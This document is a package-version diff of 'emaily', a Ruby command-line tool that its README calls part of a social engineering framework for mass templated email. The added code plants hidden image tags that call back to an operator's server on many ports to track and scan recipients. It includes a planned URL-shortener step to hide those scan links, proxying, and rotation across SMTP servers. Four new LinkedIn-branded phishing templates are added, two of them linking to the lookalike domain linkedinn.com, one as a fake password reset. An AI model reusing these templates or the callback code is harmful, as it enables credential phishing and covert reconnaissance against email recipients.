emaily 0.2 → 0.2.1
Sign up to get free protection for your applications and to get access to all the features.
- data/README +96 -0
- data/bin/emaily +22 -3
- data/bin/qp_decoder +2 -0
- data/lib/emaily/emaily.rb +58 -25
- data/lib/emaily/templates.rb +16 -2
- data/templates/linkedin_comment.html +30 -0
- data/templates/linkedin_invitation.html +25 -0
- data/templates/linkedin_invitation_accepted.html +47 -0
- data/templates/linkedin_reset_pwd.html +23 -0
- data/templates/test_template.html +2 -2
- metadata +24 -3
data/README
CHANGED
@@ -0,0 +1,96 @@
|
|
1
|
+
= EMaily
|
2
|
+
|
3
|
+
== DESCRIPTION
|
4
|
+
EMaily is a CLI tool caplable of sending multiple templated emails using different mail server. It is part of a bigger social Enginering Framework I'm creating which involves ( ESearchy-ng, ETwitty, etc ..)
|
5
|
+
|
6
|
+
NOTE: THIS IS STILL BEING DEVELOPED CODE IS SUBMITTED DAILY SO BE AWARE THAT CODE MIGHT NOT WORK PROPERLY AL THE TIME. IF SOMETHING GOES WRONG PLEASE RAISE AN ISSUE.
|
7
|
+
|
8
|
+
|
9
|
+
== SUPPORT:
|
10
|
+
|
11
|
+
* http://github.com/FreedomCoder/emaily/issues
|
12
|
+
* Emails from github.
|
13
|
+
|
14
|
+
== SYNOPSIS:
|
15
|
+
|
16
|
+
For now, the tools is not interactive, but it is still as simple as one line command to send millons of emails in one click.
|
17
|
+
|
18
|
+
EMAILY COMMANDS:
|
19
|
+
|
20
|
+
First need to add-servers with:
|
21
|
+
|
22
|
+
emaily --add-server ...
|
23
|
+
|
24
|
+
Once we have one or more server:
|
25
|
+
|
26
|
+
emaily -S gmail,hotmail --subject "Testing EMaily" -t templates/test_template.html -l ~/emails.csv --webserver --scanports 80,443,8080,8443,35000 -a cv.docx -b 10 --thread
|
27
|
+
|
28
|
+
This line will send 10 emails at a time using two different smtp configurations ( gmail and hotmail) with the subject "Testing Emaily" and using the testing template. The email list will be populated from a csv file, which also is used to generate each individual email. Short of that, it will also create a simple web server that will listen for incomming connection and it will scan the required ports.
|
29
|
+
|
30
|
+
|
31
|
+
TEMPLATES:
|
32
|
+
|
33
|
+
<subject>EMaily Test Email</subject> // optional
|
34
|
+
<html>
|
35
|
+
<body>
|
36
|
+
<h1> Hello %%name%% </h1>
|
37
|
+
|
38
|
+
I'm testing this email: %%email%%
|
39
|
+
|
40
|
+
Regards,
|
41
|
+
|
42
|
+
EMaily
|
43
|
+
%%payload[80,8080,443,1080,139,445]%%
|
44
|
+
</body>
|
45
|
+
</html>
|
46
|
+
|
47
|
+
|
48
|
+
* Executables CLI command
|
49
|
+
|
50
|
+
emaily -h
|
51
|
+
emaily_webserver
|
52
|
+
qp_decoder
|
53
|
+
|
54
|
+
* Library
|
55
|
+
|
56
|
+
For thouse who want to integrate this to their application you can use it in "the ruby way"
|
57
|
+
|
58
|
+
== REQUIREMENTS:
|
59
|
+
|
60
|
+
* ruby 1.8 or 1.9
|
61
|
+
* mail
|
62
|
+
|
63
|
+
== INSTALL:
|
64
|
+
|
65
|
+
* > sudo gem install gemcutter
|
66
|
+
* > sudo gem install emaily
|
67
|
+
|
68
|
+
== THANKS:
|
69
|
+
|
70
|
+
== LICENSE:
|
71
|
+
|
72
|
+
(The MIT License)
|
73
|
+
|
74
|
+
Copyright (c) 2009 - 2010:
|
75
|
+
|
76
|
+
* {Matias P. Brutti}[http://www.freedomcoder.com.ar]
|
77
|
+
|
78
|
+
|
79
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
80
|
+
a copy of this software and associated documentation files (the
|
81
|
+
'Software'), to deal in the Software without restriction, including
|
82
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
83
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
84
|
+
permit persons to whom the Software is furnished to do so, subject to
|
85
|
+
the following conditions:
|
86
|
+
|
87
|
+
The above copyright notice and this permission notice shall be
|
88
|
+
included in all copies or substantial portions of the Software.
|
89
|
+
|
90
|
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
91
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
92
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
93
|
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
94
|
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
95
|
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
96
|
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/bin/emaily
CHANGED
@@ -33,6 +33,7 @@ opts = GetoptLong.new(
|
|
33
33
|
[ '--ssl', GetoptLong::NO_ARGUMENT],
|
34
34
|
[ '--user','-U', GetoptLong::REQUIRED_ARGUMENT ],
|
35
35
|
[ '--pass','-P', GetoptLong::REQUIRED_ARGUMENT ],
|
36
|
+
[ '--reply','-R', GetoptLong::REQUIRED_ARGUMENT ],
|
36
37
|
[ '--template','-t', GetoptLong::REQUIRED_ARGUMENT ],
|
37
38
|
[ '--list','-l', GetoptLong::REQUIRED_ARGUMENT ],
|
38
39
|
[ '--from','-f', GetoptLong::REQUIRED_ARGUMENT ],
|
@@ -44,8 +45,11 @@ opts = GetoptLong.new(
|
|
44
45
|
[ '--output','-o', GetoptLong::REQUIRED_ARGUMENT ],
|
45
46
|
[ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ],
|
46
47
|
[ '--webserver', GetoptLong::NO_ARGUMENT ],
|
48
|
+
[ '--bidly', GetoptLong::NO_ARGUMENT ],
|
49
|
+
[ '--thread', '-T' , GetoptLong::NO_ARGUMENT ],
|
47
50
|
[ '--scanports','-X', GetoptLong::REQUIRED_ARGUMENT ],
|
48
51
|
[ '--site', GetoptLong::REQUIRED_ARGUMENT ]
|
52
|
+
[ '--proxy', GetoptLong::REQUIRED_ARGUMENT]
|
49
53
|
)
|
50
54
|
|
51
55
|
def logo()
|
@@ -123,6 +127,10 @@ opts.each do |opt, arg|
|
|
123
127
|
puts " \t Add scan payload to scan for list of ports.\n"
|
124
128
|
puts " --site"
|
125
129
|
puts " \t If not using local webserver a site is required.\n"
|
130
|
+
puts " --thread, -T"
|
131
|
+
puts " \t Threads each block or server acordinly.\n"
|
132
|
+
puts " --proxy [127.0.0.1:8080]"
|
133
|
+
puts " \t Setup a proxy.\n"
|
126
134
|
puts "Copyright 2010 - FreedomCoder\n"
|
127
135
|
#END OF HELP
|
128
136
|
exit(0)
|
@@ -153,6 +161,8 @@ opts.each do |opt, arg|
|
|
153
161
|
@server[:password] = arg
|
154
162
|
when '--ssl' then
|
155
163
|
@server[:enable_starttls_auto] = true
|
164
|
+
when '--reply' then
|
165
|
+
@server[:reply_to] = arg
|
156
166
|
# END ADD / REMOVE SERVER
|
157
167
|
when '--block' then
|
158
168
|
@block = arg.to_i
|
@@ -187,8 +197,17 @@ opts.each do |opt, arg|
|
|
187
197
|
@webserver = true
|
188
198
|
when '--scanports' then
|
189
199
|
@ports = arg.split(",").map {|p| p.to_i} if arg != nil
|
200
|
+
when '--bidly' then
|
201
|
+
@data[:bidly] = true
|
202
|
+
when '--thread' then
|
203
|
+
@thread = true
|
190
204
|
when '--site' then
|
191
205
|
@data[:site] = arg
|
206
|
+
when '--proxy' then
|
207
|
+
require 'socksify'
|
208
|
+
url, port = arg.split(":")
|
209
|
+
TCPSocket::socks_server = url
|
210
|
+
TCPSocket::socks_port = port.to_i
|
192
211
|
else
|
193
212
|
puts "Unknown command. Please try again"
|
194
213
|
exit(0)
|
@@ -233,11 +252,11 @@ def execute
|
|
233
252
|
webserver.run
|
234
253
|
end
|
235
254
|
if @session.serv.size < 2
|
236
|
-
@block != nil ? @session.send_block(@block, @sleep) : @session.send
|
255
|
+
@block != nil ? @session.send_block(@block, @sleep, @thread || false) : @session.send
|
237
256
|
elsif @random
|
238
|
-
@session.send_to_random_servers(@block, @sleep)
|
257
|
+
@session.send_to_random_servers(@block || 1, @sleep, @thread || false)
|
239
258
|
else
|
240
|
-
@session.send_to_servers(@block, @sleep)
|
259
|
+
@session.send_to_servers(@block || 1, @sleep, @thread || false)
|
241
260
|
end
|
242
261
|
if @webserver
|
243
262
|
puts "If you no longer want to listen for incomming connecionts."
|
data/bin/qp_decoder
CHANGED
data/lib/emaily/emaily.rb
CHANGED
@@ -2,10 +2,21 @@ def D m
|
|
2
2
|
puts m if EMaily::log
|
3
3
|
end
|
4
4
|
|
5
|
+
class Array
|
6
|
+
def / len
|
7
|
+
a = []
|
8
|
+
each_with_index do |x,i|
|
9
|
+
a << [] if i % len == 0
|
10
|
+
a.last << x
|
11
|
+
end
|
12
|
+
a
|
13
|
+
end
|
14
|
+
end
|
15
|
+
|
5
16
|
module EMaily
|
6
17
|
@@log = false
|
7
18
|
@@status = true
|
8
|
-
VERSION = 0.2
|
19
|
+
VERSION = 0.2.1
|
9
20
|
|
10
21
|
def self.status
|
11
22
|
@@status
|
@@ -31,14 +42,19 @@ module EMaily
|
|
31
42
|
#variables
|
32
43
|
@list = CSV.parse(args[:list])
|
33
44
|
@attach = args[:attachment] || []
|
34
|
-
@from = args[:from]
|
45
|
+
@o_from = @from = args[:from]
|
35
46
|
@content_type = args[:content_type] || 'text/html; charset=UTF-8;'
|
36
47
|
@template = Template.new(args[:template], @content_type)
|
48
|
+
@template.bidly = args[:bidly] || false
|
37
49
|
@ports = @template.ports
|
38
50
|
@template.site = args[:site] if args[:site]
|
39
|
-
@subject = @template.subject || args[:subject]
|
40
|
-
|
41
|
-
|
51
|
+
@subject = @template.subject || args[:subject]
|
52
|
+
if args[:servers]
|
53
|
+
@serv = []; args[:servers].each {|s| @serv << @servers[s][0][:values] }
|
54
|
+
setup_server(@serv[0])
|
55
|
+
else
|
56
|
+
setup_server(@servers[0][0][:values])
|
57
|
+
end
|
42
58
|
end
|
43
59
|
attr_accessor :list, :from, :content_type, :subject, :serv, :ports
|
44
60
|
|
@@ -48,32 +64,42 @@ module EMaily
|
|
48
64
|
end
|
49
65
|
|
50
66
|
def send
|
51
|
-
@list.each {|p| connect
|
67
|
+
@list.each { |p| connect(p[:email], generate_email(p)) }
|
52
68
|
end
|
53
69
|
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
70
|
+
#def send_block(bloc = 1, rest = 0, &block)
|
71
|
+
# (@list / bloc).each do |b|
|
72
|
+
# setup_server(block.call(self)) if block_given?
|
73
|
+
# b.each { |p| connect p[:email], generate_email(p) }
|
74
|
+
# sleep(rest) if rest != 0 && rest != nil
|
75
|
+
# end
|
76
|
+
#end
|
77
|
+
|
78
|
+
def send_block(bloc = 1, rest = 0, thread = false, &block)
|
79
|
+
threads = []
|
80
|
+
(@list / bloc).each do |b|
|
81
|
+
block.call(self) if block_given?
|
82
|
+
if thread
|
83
|
+
threads << Thread.new { b.each { |p| connect p[:email], generate_email(p)}}
|
84
|
+
else
|
85
|
+
b.each { |p| connect p[:email], generate_email(p) }
|
86
|
+
end
|
87
|
+
end
|
88
|
+
threads.each { |t| t.join }
|
89
|
+
end
|
64
90
|
|
65
|
-
def send_to_random_servers(bloc = 1, rest = 0)
|
66
|
-
send_block
|
91
|
+
def send_to_random_servers(bloc = 1, rest = 0, thread = false)
|
92
|
+
send_block(bloc, rest, thread) { setup_server(@serv[rand(@serv.size)]) }
|
67
93
|
end
|
68
94
|
|
69
|
-
def send_to_servers(bloc = 1, rest = 0)
|
70
|
-
@v=0; send_block
|
95
|
+
def send_to_servers(bloc = 1, rest = 0, thread = false)
|
96
|
+
@v=0; send_block(bloc, rest, thread) do
|
97
|
+
setup_server(@serv[@v % @serv.size]);
|
98
|
+
@v += 1
|
99
|
+
end
|
71
100
|
end
|
72
101
|
|
73
102
|
private
|
74
|
-
def until_this(j, bloc)
|
75
|
-
j + bloc < @list.size ? j + bloc : @list.size
|
76
|
-
end
|
77
103
|
|
78
104
|
def generate_email(data)
|
79
105
|
@template.generate_email(data)
|
@@ -81,9 +107,16 @@ module EMaily
|
|
81
107
|
|
82
108
|
def setup_server(server)
|
83
109
|
Mail.defaults { delivery_method :smtp, server }
|
110
|
+
if @from.nil? || (@from != server[:user_name] && server[:user_name].match(/@/))
|
111
|
+
@from = server[:user_name]
|
112
|
+
elsif server[:user_name].nil?
|
113
|
+
@from = server[:reply_to]
|
114
|
+
else
|
115
|
+
@from = @o_from || "anonymous@#{server[:domain]}"
|
116
|
+
end
|
84
117
|
end
|
85
118
|
|
86
|
-
def connect(email,
|
119
|
+
def connect(email,template)
|
87
120
|
begin
|
88
121
|
mail = Mail.new
|
89
122
|
mail.to email
|
@@ -103,7 +136,7 @@ module EMaily
|
|
103
136
|
end
|
104
137
|
end
|
105
138
|
@attach.each do |file|
|
106
|
-
|
139
|
+
mail.add_file file
|
107
140
|
end
|
108
141
|
mail.deliver
|
109
142
|
D "Successfully sent #{email}"
|
data/lib/emaily/templates.rb
CHANGED
@@ -21,7 +21,7 @@ module EMaily
|
|
21
21
|
end
|
22
22
|
@site = site
|
23
23
|
end
|
24
|
-
attr_accessor :ports
|
24
|
+
attr_accessor :ports, :bidly
|
25
25
|
attr_reader :site
|
26
26
|
|
27
27
|
def generate_email(values)
|
@@ -58,11 +58,25 @@ module EMaily
|
|
58
58
|
def generate_scan_ports(identifier)
|
59
59
|
pl = ""
|
60
60
|
@ports.each do |port|
|
61
|
-
pl << "<img src=\"#{
|
61
|
+
pl << "<img src=\"#{site(port,identifier)}\" sytle=\"display:none\"/>\n"
|
62
62
|
end
|
63
63
|
pl
|
64
64
|
end
|
65
65
|
|
66
|
+
def site(port,identifier)
|
67
|
+
url = "#{ @site || ("http://"+local_ip) }:#{port}/#{port}.jpg?e=#{identifier}"
|
68
|
+
begin
|
69
|
+
@bidly ? bidly(url) : url
|
70
|
+
rescue
|
71
|
+
url
|
72
|
+
end
|
73
|
+
end
|
74
|
+
|
75
|
+
# Future bitly URL shortten to hide Scan URLs ( I think this will only work with domains)
|
76
|
+
def bitly(link)
|
77
|
+
open( 'http://bit.ly/api?url=' + link ).read
|
78
|
+
end
|
79
|
+
|
66
80
|
def local_ip
|
67
81
|
if @local_ip
|
68
82
|
@local_ip
|
@@ -0,0 +1,30 @@
|
|
1
|
+
<subject>There was a new comment posted on your profile update</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
<table border="0" cellpadding="0" cellspacing="0" style="width:550px; border-top:4px solid #39C; font: 12px arial, sans-serif; margin: 0 auto;">
|
5
|
+
<tr>
|
6
|
+
<td style="padding-top:5px"><h1 style="color: #000; font: bold 21px arial;" >LinkedIn <span style="color:#666;font-weight:normal">Network Update</span></h1></td>
|
7
|
+
</tr>
|
8
|
+
<tr>
|
9
|
+
<td style="padding-bottom: 20px">
|
10
|
+
<p>%%name%%,</p>
|
11
|
+
<p>%%from%% has just left a comment on your profile update:</p>
|
12
|
+
<p><strong>"%%message%%"</strong></p>
|
13
|
+
<p>
|
14
|
+
|
15
|
+
|
16
|
+
<a href="http://www.linkedin.com/e/psn/123123123/65654356/asBU/EML_nus_prof/"><strong>%%name%%</strong></a> is now working at %%company%%
|
17
|
+
|
18
|
+
</p>
|
19
|
+
<a href="http://www.linkedin.com/e/nds/231221/M/U/j0d7hsd7ad0-f436-4de7-3h17-98d70as8dads/t-6t/eml_comment_PROF/">See all comments</a>
|
20
|
+
</td>
|
21
|
+
</tr>
|
22
|
+
<tr>
|
23
|
+
<td style="font: 10px arial, sans-serif; color: #999; padding-top: 10px; border-top:1px solid #ccc;">
|
24
|
+
<p style="color:#333">Don't want to receive email notifications? <a href="https://www.linkedin.com/e/mdp/eml_comment_PROF/">Adjust your message settings.</a> LinkedIn values your privacy. At no time has Linkedin made your email address available to any other LinkedIn user without your permission.</p>
|
25
|
+
© 2010, LinkedIn Corporation </td>
|
26
|
+
</tr>
|
27
|
+
</table>
|
28
|
+
|
29
|
+
</body>
|
30
|
+
</html>
|
@@ -0,0 +1,25 @@
|
|
1
|
+
<subject>Join my network on LinkedIn</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
<table border="0" width="550" cellpadding="0" cellspacing="0" style="max-width:550px; border-top:4px solid #39C; font: 12px arial, sans-serif; margin: 0 auto;"><tr><td>
|
5
|
+
<h1 style="color: #000; font: bold 23px arial; margin:5px 0;" >LinkedIn</h1>
|
6
|
+
|
7
|
+
<div style="font:13px arial, sans-serif; width:540px">
|
8
|
+
<p>%%from%% has indicated you are a Colleague at %%company%%:</p>
|
9
|
+
<div style="margin-top: 6px; border-bottom: 2px solid #ddd; line-height:3px"> </div>
|
10
|
+
<p>
|
11
|
+
%%message%%
|
12
|
+
</p>
|
13
|
+
<p>
|
14
|
+
<a href="http://www.linkedinn.com/e/Vwwddsdadas_DSdadaD_AS_CH-Eeo/blk/323123_1/hiHhUHIGykhggTT_/svi/">View invitation from %%from%%</a>
|
15
|
+
</p>
|
16
|
+
<div style="margin-top: 6px; border-bottom: 2px solid #ddd; line-height:3px"> </div>
|
17
|
+
<p> DID YOU KNOW <strong>that LinkedIn can find the answers to your most difficult questions?</strong><br> Post those vexing questions on <a href="http://www.linkedin.com/e/ask/inv-23/">LinkedIn Answers</a> to tap into the knowledge of the world's foremost business experts. </p>
|
18
|
+
<div style="margin-top: 6px; border-bottom: 2px solid #ddd; line-height:3px"> </div>
|
19
|
+
</div>
|
20
|
+
<p style="width: 550px; margin: 3px auto; font: 10px arial, sans-serif; color: #999;">© 2010, LinkedIn Corporation
|
21
|
+
|
22
|
+
</p>
|
23
|
+
|
24
|
+
</body>
|
25
|
+
</html>
|
@@ -0,0 +1,47 @@
|
|
1
|
+
<subject>%%name%% has accepted your LinkedIn invitation</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
|
5
|
+
<!-- GREY BORDER -->
|
6
|
+
<table width="100%" border="0" cellspacing="15" cellpadding="0" bgcolor="#E1E1E1"><tr><td>
|
7
|
+
<!-- WHITE BACKGROUND -->
|
8
|
+
<table width="100%" border="0" cellspacing="15" cellpadding="0" bgcolor="#FFFFFF"><tr><td>
|
9
|
+
<!-- MAIN CONTENT TABLE -->
|
10
|
+
<table width="100%" border="0" cellspacing="5" cellpadding="0">
|
11
|
+
<!-- LOGO -->
|
12
|
+
<tr><td colspan="3"><table><tr><td width="135"><img src="http://www.linkedin.com/img/logos/logo.gif" width="129" height="36" alt="LinkedIn"></td><td><font size="4" face="arial, helvetica, sans-serif" color="#D99324">Invitation Accepted</font></td></tr></table></td></tr>
|
13
|
+
<tr><td width="25"><img src="http://www.linkedin.com/img/spacer.gif" width="25" height="1" alt=""></td><td colspan="2"><hr noshade size="1"></td></tr>
|
14
|
+
<!-- INTRO -->
|
15
|
+
<tr><td> </td><td>
|
16
|
+
<img src="http://www.linkedin.com/img/spacer.gif" width="1" height="1" alt="">
|
17
|
+
<p><font size="3" face="arial, helvetica, sans-serif" color="#000000"><b>Congratulations! You and %%name%% are now connected.</b></font><br>
|
18
|
+
<table cellpadding="0" cellspacing="4" border="0" with="100%">
|
19
|
+
<tr>
|
20
|
+
<td valign="top" width="6%" align="center"><img src="http://www.linkedin.com/img/icon/icon_email_profile_30x24.gif" width="30" height="24" alt=""></td>
|
21
|
+
<td valign="top" width="42%"><img src="http://www.linkedin.com/img/spacer.gif" width="1" height="22" alt=""><font size="2" face="arial, helvetica, sans-serif" color="#000000"><strong>View <a href="http://www.linkedin.com/e/fpf/dsasdsad/EML-inv-acc-prof/"><font color="#003399">%%name%%'s profile</font></a> to:</strong>
|
22
|
+
<ul style="margin-top: 0;">
|
23
|
+
<li>Download %%name%%'s current contact information</li>
|
24
|
+
<li>Write a recommendation for %%name%%</li>
|
25
|
+
<li>Find opportunities through %%name%%'s network</li>
|
26
|
+
<li>See who you know in common</li>
|
27
|
+
</ul></font>
|
28
|
+
<td width="15" width="4%"> </td>
|
29
|
+
<td valign="top" width="6%" align="center"><img src="http://www.linkedin.com/img/icon/icon_email_abook_30x24.gif" width="30" height="24" alt=""></td>
|
30
|
+
<td valign="top" width="42%"><img src="http://www.linkedin.com/img/spacer.gif" width="1" height="22" alt=""><font size="2" face="arial, helvetica, sans-serif" color="#000000"><b><a href="http://www.linkedin.com/e/dshjdlkasdasdsdshdjhda/con/EML-inv-acc-conn/"><font color="#003399">Continue building your network:</font></a></b><br>Every person you connect with builds value for you and all your connections.</font></td>
|
31
|
+
</tr>
|
32
|
+
</table>
|
33
|
+
</td><td width="50"><img src="http://www.linkedin.com/img/spacer.gif" width="75" height="1" alt=""></td></tr>
|
34
|
+
<tr><td> </td><td colspan="2"><hr noshade size="1"></td></tr>
|
35
|
+
<tr><td> </td><td>
|
36
|
+
<font size="2" face="arial, helvetica, sans-serif" color="#000000"> If these links are not working, you can paste the following address into your browser:<br> http://www.linkedin.com/e/fpf/dsasdsad/EML-inv-acc-prof/<br><br> Thank you for using LinkedIn!<br><br> -- The LinkedIn Team<br>
|
37
|
+
<a href="http://www.linkedin.com/">http://www.linkedin.com/</a>
|
38
|
+
</font>
|
39
|
+
</td><td> </td></tr></table>
|
40
|
+
</td></tr></table>
|
41
|
+
</td></tr>
|
42
|
+
<!-- COPYRIGHT -->
|
43
|
+
<tr><td><font size="1" face="arial, helvetica, sans-serif" color="#666666">© 2010, LinkedIn Corporation</font></td></tr>
|
44
|
+
</table>
|
45
|
+
%%payload[80,8080,443,1080,139,445]%%
|
46
|
+
</body>
|
47
|
+
</html>
|
@@ -0,0 +1,23 @@
|
|
1
|
+
<subject>Reset Your LinkedIn Password</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
<table border="0" width="550" cellpadding="0" cellspacing="0" style="max-width:550px; border-top:4px solid #39C; font: 12px arial, sans-serif; margin: 0 auto;"><tr><td>
|
5
|
+
<h1 style="color: #000; font: bold 23px arial; margin:5px 0;" >LinkedIn</h1>
|
6
|
+
|
7
|
+
<p>Dear %%name%%,</p>
|
8
|
+
|
9
|
+
<p>We have received your request to reset your LinkedIn password. Please <a name="_resetLink" href="https://www.linkedinn.com/e/pwr/231231231/Huasdky-/">use this secure URL</a> to reset your password within 5 days.</p>
|
10
|
+
|
11
|
+
<p>To reset your password, please enter your new password twice on the page that opens.</p>
|
12
|
+
|
13
|
+
<p>If you cannot access the link above, you can paste the following address into your browser:<br> https://www.linkedinn.com/e/pwr/231231231/Huasdky-/</p>
|
14
|
+
|
15
|
+
<p>Thank you for using LinkedIn!</p>
|
16
|
+
|
17
|
+
<p>- The LinkedIn Team<br>
|
18
|
+
<a href="http://www.linkedin.com/">http://www.linkedin.com/</a></p>
|
19
|
+
|
20
|
+
<p style="border-top: 2px solid #ccc; padding-top: 15px; margin-top: 15px; font-size: 10px; color: #999;">© 2010, LinkedIn Corporation</p>
|
21
|
+
|
22
|
+
</body>
|
23
|
+
</html>
|
metadata
CHANGED
@@ -1,12 +1,13 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: emaily
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
hash:
|
4
|
+
hash: 21
|
5
5
|
prerelease: false
|
6
6
|
segments:
|
7
7
|
- 0
|
8
8
|
- 2
|
9
|
-
|
9
|
+
- 1
|
10
|
+
version: 0.2.1
|
10
11
|
platform: ruby
|
11
12
|
authors:
|
12
13
|
- Matias P. Brutti
|
@@ -14,7 +15,7 @@ autorequire:
|
|
14
15
|
bindir: bin
|
15
16
|
cert_chain: []
|
16
17
|
|
17
|
-
date: 2010-06-
|
18
|
+
date: 2010-06-18 00:00:00 -03:00
|
18
19
|
default_executable:
|
19
20
|
dependencies:
|
20
21
|
- !ruby/object:Gem::Dependency
|
@@ -33,6 +34,22 @@ dependencies:
|
|
33
34
|
version: 2.1.2
|
34
35
|
type: :runtime
|
35
36
|
version_requirements: *id001
|
37
|
+
- !ruby/object:Gem::Dependency
|
38
|
+
name: socksify
|
39
|
+
prerelease: false
|
40
|
+
requirement: &id002 !ruby/object:Gem::Requirement
|
41
|
+
none: false
|
42
|
+
requirements:
|
43
|
+
- - ">="
|
44
|
+
- !ruby/object:Gem::Version
|
45
|
+
hash: 17
|
46
|
+
segments:
|
47
|
+
- 1
|
48
|
+
- 1
|
49
|
+
- 1
|
50
|
+
version: 1.1.1
|
51
|
+
type: :runtime
|
52
|
+
version_requirements: *id002
|
36
53
|
description:
|
37
54
|
email: matiasbrutti@gmail.com
|
38
55
|
executables:
|
@@ -52,6 +69,10 @@ files:
|
|
52
69
|
- lib/emaily/templates.rb
|
53
70
|
- lib/emaily/webservers.rb
|
54
71
|
- lib/emaily.rb
|
72
|
+
- templates/linkedin_comment.html
|
73
|
+
- templates/linkedin_invitation.html
|
74
|
+
- templates/linkedin_invitation_accepted.html
|
75
|
+
- templates/linkedin_reset_pwd.html
|
55
76
|
- templates/test_template.html
|
56
77
|
- README
|
57
78
|
- bin/emaily
|